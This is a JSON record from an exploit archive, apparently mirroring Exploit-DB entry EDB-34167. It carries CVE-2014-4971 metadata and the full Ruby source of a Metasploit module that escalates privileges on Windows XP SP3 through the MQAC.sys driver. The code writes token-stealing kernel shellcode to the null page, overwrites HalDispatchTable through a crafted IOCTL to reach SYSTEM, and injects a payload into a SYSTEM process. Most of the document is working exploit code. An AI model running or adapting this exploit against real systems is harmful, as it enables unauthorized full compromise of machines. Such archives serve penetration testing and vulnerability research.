{"exploit":{"id":"EDB-34167","name":"Microsoft Windows XP SP3 - 'MQAC.sys' Arbitrary Write Privilege Escalation (Metasploit)","description":"Microsoft Windows XP SP3 - 'MQAC.sys' Arbitrary Write Privilege Escalation (Metasploit)","cves":["CVE-2014-4971"],"author":"Metasploit","published":"2014-07-25","platform":"windows_x86","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/34167","path":"exploits/windows_x86/local/34167.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-34167.rb","vulnerabilities":[{"id":"CVE-2014-4971","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows XP SP3 does not validate addresses in certain IRP handler routines, which allows local users to write data to arbitrary memory locations, and consequently gain privileges, via a crafted address in an IOCTL call, related to (1) the MQAC.sys driver in the MQ Access Control subsystem and (2) the BthPan.sys driver in the Bluetooth Personal Area Networking subsystem.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-4971","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-4971"},"updatedAt":"2024-08-06T11:34:36.517Z","retrievedAt":"2026-11-27T10:32:04.918Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-34167.png?v=2","url":"https://exploitbin.com/exploits/EDB-34167","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-34167/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-34167/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http//metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\nrequire 'rex'\n\nclass Metasploit3 < Msf::Exploit::Local\n  Rank = AverageRanking\n\n  include Msf::Post::Windows::Priv\n  include Msf::Post::Windows::Process\n\n  def initialize(info={})\n    super(update_info(info, {\n      'Name'           => 'MQAC.sys Arbitrary Write Privilege Escalation',\n      'Description'    => %q{\n        A vulnerability within the MQAC.sys module allows an attacker to\n        overwrite an arbitrary location in kernel memory.\n\n        This module will elevate itself to SYSTEM, then inject the payload\n        into another SYSTEM process.\n      },\n      'License'       => MSF_LICENSE,\n      'Author'        =>\n        [\n          'Matt Bergin', # original exploit and all the hard work\n          'Spencer McIntyre' # MSF module\n        ],\n      'Arch'           => [ ARCH_X86 ],\n      'Platform'       => [ 'win' ],\n      'SessionTypes'   => [ 'meterpreter' ],\n      'DefaultOptions' =>\n        {\n          'EXITFUNC'   => 'thread',\n        },\n      'Targets'        =>\n        [\n          [ 'Windows XP SP3',\n            {\n              '_KPROCESS' => \"\\x44\",\n              '_TOKEN' => \"\\xc8\",\n              '_UPID' => \"\\x84\",\n              '_APLINKS' => \"\\x88\"\n            }\n          ],\n        ],\n      'References'    =>\n        [\n          [ 'CVE', '2014-4971' ],\n          [ 'EDB', '34112' ],\n          [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]\n        ],\n      'DisclosureDate'=> 'Jul 22 2014',\n      'DefaultTarget' => 0\n    }))\n  end\n\n  def find_sys_base(drvname)\n    session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')\n    session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ [\"PBLOB\", \"lpImageBase\", \"out\"], [\"DWORD\", \"cb\", \"in\"], [\"PDWORD\", \"lpcbNeeded\", \"out\"]])\n    session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ [\"LPVOID\", \"ImageBase\", \"in\"], [\"PBLOB\", \"lpBaseName\", \"out\"], [\"DWORD\", \"nSize\", \"in\"]])\n    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)\n    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack(\"L*\")\n\n    addresses.each do |address|\n      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)\n      current_drvname = results['lpBaseName'][0..results['return'] - 1]\n      if drvname == nil\n        if current_drvname.downcase.include?('krnl')\n          return [address, current_drvname]\n        end\n      elsif drvname == results['lpBaseName'][0..results['return'] - 1]\n        return [address, current_drvname]\n      end\n    end\n  end\n\n  # Function borrowed from smart_hashdump\n  def get_system_proc\n    # Make sure you got the correct SYSTEM Account Name no matter the OS Language\n    local_sys = resolve_sid(\"S-1-5-18\")\n    system_account_name = \"#{local_sys[:domain]}\\\\#{local_sys[:name]}\"\n\n    this_pid = session.sys.process.getpid\n    # Processes that can Blue Screen a host if migrated in to\n    dangerous_processes = [\"lsass.exe\", \"csrss.exe\", \"smss.exe\"]\n    session.sys.process.processes.each do |p|\n      # Check we are not migrating to a process that can BSOD the host\n      next if dangerous_processes.include?(p[\"name\"])\n      next if p[\"pid\"] == this_pid\n      next if p[\"pid\"] == 4\n      next if p[\"user\"] != system_account_name\n      return p\n    end\n  end\n\n  def open_device\n    handle = session.railgun.kernel32.CreateFileA(\"\\\\\\\\.\\\\MQAC\", \"FILE_SHARE_WRITE|FILE_SHARE_READ\", 0, nil, \"OPEN_EXISTING\", 0, nil)\n    if handle['return'] == 0\n      print_error('Failed to open the \\\\\\\\.\\\\MQAC device')\n      return nil\n    end\n    handle = handle['return']\n  end\n\n  def check\n    handle = open_device\n    if handle.nil?\n      return Exploit::CheckCode::Safe\n    end\n    session.railgun.kernel32.CloseHandle(handle)\n\n    os = sysinfo[\"OS\"]\n    case os\n    when /windows xp.*service pack 3/i\n      return Exploit::CheckCode::Appears\n    when /windows xp/i\n      return Exploit::CheckCode::Detected\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end\n\n  def exploit\n    if sysinfo[\"Architecture\"] =~ /wow64/i\n      print_error(\"Running against WOW64 is not supported\")\n      return\n    elsif sysinfo[\"Architecture\"] =~ /x64/\n      print_error(\"Running against 64-bit systems is not supported\")\n      return\n    end\n\n    if is_system?\n      print_error(\"This meterpreter session is already running as SYSTEM\")\n      return\n    end\n\n    kernel_info = find_sys_base(nil)\n    base_addr = 0xffff\n    print_status(\"Kernel Base Address: 0x#{kernel_info[0].to_s(16)}\")\n\n    handle = open_device\n    return if handle.nil?\n\n    this_proc = session.sys.process.open\n    unless this_proc.memory.writable?(base_addr)\n      session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack(\"L\"), nil, [ 0xffff ].pack(\"L\"), \"MEM_COMMIT|MEM_RESERVE\", \"PAGE_EXECUTE_READWRITE\")\n    end\n    unless this_proc.memory.writable?(base_addr)\n      print_error('Failed to properly allocate memory')\n      this_proc.close\n      return\n    end\n\n    hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)\n    hKernel = hKernel['return']\n    halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, \"HalDispatchTable\")\n    halDispatchTable = halDispatchTable['return']\n    halDispatchTable -= hKernel\n    halDispatchTable += kernel_info[0]\n    print_status(\"HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}\")\n\n    tokenstealing  = \"\\x52\"                                                        # push edx                         # Save edx on the stack\n    tokenstealing << \"\\x53\"                                                        # push ebx                         # Save ebx on the stack\n    tokenstealing << \"\\x33\\xc0\"                                                    # xor eax, eax                     # eax = 0\n    tokenstealing << \"\\x64\\x8b\\x80\\x24\\x01\\x00\\x00\"                                # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD\n    tokenstealing << \"\\x8b\\x40\" + target['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS\n    tokenstealing << \"\\x8b\\xc8\"                                                    # mov ecx, eax\n    tokenstealing << \"\\x8b\\x98\" + target['_TOKEN'] + \"\\x00\\x00\\x00\"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN\n    tokenstealing << \"\\x8b\\x80\" + target['_APLINKS'] + \"\\x00\\x00\\x00\"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks\n    tokenstealing << \"\\x81\\xe8\" + target['_APLINKS'] + \"\\x00\\x00\\x00\"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks\n    tokenstealing << \"\\x81\\xb8\" + target['_UPID'] + \"\\x00\\x00\\x00\\x04\\x00\\x00\\x00\" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)\n    tokenstealing << \"\\x75\\xe8\"                                                    # jne 0000101e ======================\n    tokenstealing << \"\\x8b\\x90\" + target['_TOKEN'] + \"\\x00\\x00\\x00\"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX\n    tokenstealing << \"\\x8b\\xc1\"                                                    # mov eax, ecx                     # Retrieves KPROCESS stored on ECX\n    tokenstealing << \"\\x89\\x90\" + target['_TOKEN'] + \"\\x00\\x00\\x00\"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS\n    tokenstealing << \"\\x5b\"                                                        # pop ebx                          # Restores ebx\n    tokenstealing << \"\\x5a\"                                                        # pop edx                          # Restores edx\n    tokenstealing << \"\\xc2\\x10\"                                                    # ret 10h                          # Away from the kernel!\n\n    shellcode = make_nops(0x200) + tokenstealing\n    this_proc.memory.write(0x1, shellcode)\n    this_proc.close\n\n    print_status(\"Triggering vulnerable IOCTL\")\n    session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0)\n    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)\n\n    unless is_system?\n      print_error(\"Exploit failed\")\n      return\n    end\n\n    proc = get_system_proc\n    print_status(\"Injecting the payload into SYSTEM process: #{proc['name']}\")\n    unless execute_shellcode(payload.encoded, nil, proc['pid'])\n      fail_with(Failure::Unknown, \"Error while executing the payload\")\n    end\n  end\n\nend","sha256":"ef26a777b6cc46b18db59aaae292d33ca458ec86f1328d5104b7584977ff7d92","bytes":8655,"fetchedAt":"2026-11-27T16:09:25.878Z","encoding":"utf-8 (display only; download retains original bytes)"}